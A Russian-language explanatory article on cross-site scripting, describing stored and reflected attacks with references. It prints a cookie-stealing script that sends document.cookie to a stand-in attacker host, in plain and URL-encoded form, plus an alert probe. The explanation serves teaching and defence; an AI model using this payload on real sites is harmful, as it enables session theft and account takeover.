В примере выше, имя пользователя «Joe» сохраняется в URL (в поле username). Выводимая веб-страница отображает приветствие «Добро пожаловать, Joe». Если злоумышленник изменил бы поле username в URL, вставив JavaScript для похищения Ключиков, то это сделало бы вероятным получение управления учетной записью пользователя, загружающего эту веб-страницу. У большого процента людей вызовет подозрение, если они увидят JavaScript внедренный в URL, поэтому зачастую злоумышленник будет кодировать URL вредоносного наполнения подобно примеру ниже:

URL кодирование примера URL-а для хищения ключиков

http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Раскодирование примера URL-а для хищения Ключиков

http://portal.example/index.php?sessionid=12312312&username=<script>document.location=’http://attacker host.example/cgi-bin/cookiesteal.cgi?’+document.cookie</script>

Источник

Наличие
уязвимости Cross-site Scripting позволяет
атакующему  передать серверу
исполняемый код, который будет
перенаправлен браузеру пользователя.
Этот код обычно создается на языках
HTML/JavaScript, но могут быть использованы
VBScript, ActiveX, Java, Flash, или  другие
поддерживаемые браузером технологии.

Переданный
код исполняется в контексте безопаснсти
(или зоне безопасности) уязвимого
сервера. Используя эти привилегии, код
получает возможность читать, модифицировать
или передавать важные данные, доступные
с помощью браузера. У атакованного
пользователя может быть скомпрометирован
аккакунт (кража cookie), его браузер может
быть перенаправлен на другой сервер
или осуществлена подмена содержимого
сервера. В результате тщательно
спланированной атаки злоумышленник
может использовать браузер жертвы для
просмотра страниц сайта от имени
атакуемого пользователя. Код может
передаваться злоумышленником в URL, в
заголовках HTTP запроса  (cookie, user-agent,
refferer), значениях полей форм и т.д.

Существует
два типа атак, приводящих к межсайтовому
выполнению сценариев: постоянные
(сохраненные) и непостоянные (отраженные).
Основным отличием между ними является
то, что в отраженном варианте передача
кода серверу и возврат его клиенту
осуществляется в рамках одного
HTTP-запроса, а в хранимом — в разных.

Осуществление
непостоянной атаки требует, чтобы
пользователь перешел по ссылке,
сформированной злоумышленником (ссылка
может быть передана по email, ICQ и т.д.). В
процессе загрузки сайта код, внедренный
в URL или заголовки запроса будет передан
клиенту и выполнен в его браузере.
Сохраненная разновидность уязвимости
возникает, когда код передается серверу
и сохраняется на нем на некоторый
промежуток времени. Наиболее популярными
целями атак в этом случае являются
форумы, почта с Web-интерфейсом и чаты.
Для атаки пользователю не обязательно
переходить по ссылке, достаточно посетить
уязвимый сайт.

Примеры

Сохраненный
вариант атаки

Многие
сайты имеют доски объявлений и форумы,
которые позволяют пользователям
оставлять сообщения. Зарегистрированный
пользователь обычно идентифицируется
по номеру сессии, сохраняемому в cookie.
Если атакующий оставит сообщение,
содержащее код на языке JavaScript, он получит
доступ к идентификатору сессии
пользователя.

Пример
кода для передачи cookie:

 <SCRIPT>document.location=
‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie</SCRIPT>

Отраженный
вариант атаки

Многие
серверы предоставляют пользователям
возможность поиска по содержимому
сервера. Как правило, запрос передается
в URL и содержится в результирующей
странице.

К
примеру, при переходе по URL
http://portal.example/search?q=”fresh beer” пользователю
будет отображена страница, содержащая
результаты поиска и фразу:

«По
вашему запросу fresh beer найдено 0 страниц».
Если в качестве искомой фразы будет
передан Javascript, он выполнится в браузере
пользователя.

Пример:

http://portal.example/search/?q=
<script>alert(«xss»)</script>

Для
сокрытия кода сценария может быть
использована кодировка
URLEncode:

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Ссылки

«CERT©
Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests»
http://www.cert.org/advisories/CA-2000-02.html

«The
Cross Site Scripting FAQ» —
CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml

Cross
Site Scripting Info
http://httpd.apache.org/info/css-security/

Character
entity references in HTML
4
http://www.w3.org/TR/html4/sgml/entities.html

«Understanding
Malicious Content Mitigation for Web
Developers»
http://www.cert.org/tech_tips/malicious_code_mitigation.html

Cross-site
Scripting: Are your web applications vulnerable?», By Kevin
Spett — SPI
Dynamics
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

«Cross-site
Scripting Explained», By Amit Klein –
Sanctum
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf

«HTML
Code Injection and Cross-site Scripting», By Gunter
Ollmann
http://www.technicalinfo.net/papers/CSS.html

Русскоязычные
ссылки

“XSS
без XSS”. By
Marsel [marsel roses.ru] aka
Phoenix
http://www.securitylab.ru/contest/212115.php

Источник

Понравилась статья? Поделить с друзьями:
  • Межрегиональный фольклорный праздник троицкие гуляния
  • Межрегиональный праздник алтайского народа эл ойын
  • Межнациональный праздник это
  • Межнациональный праздник сценарий
  • Межнациональный праздник свердловской области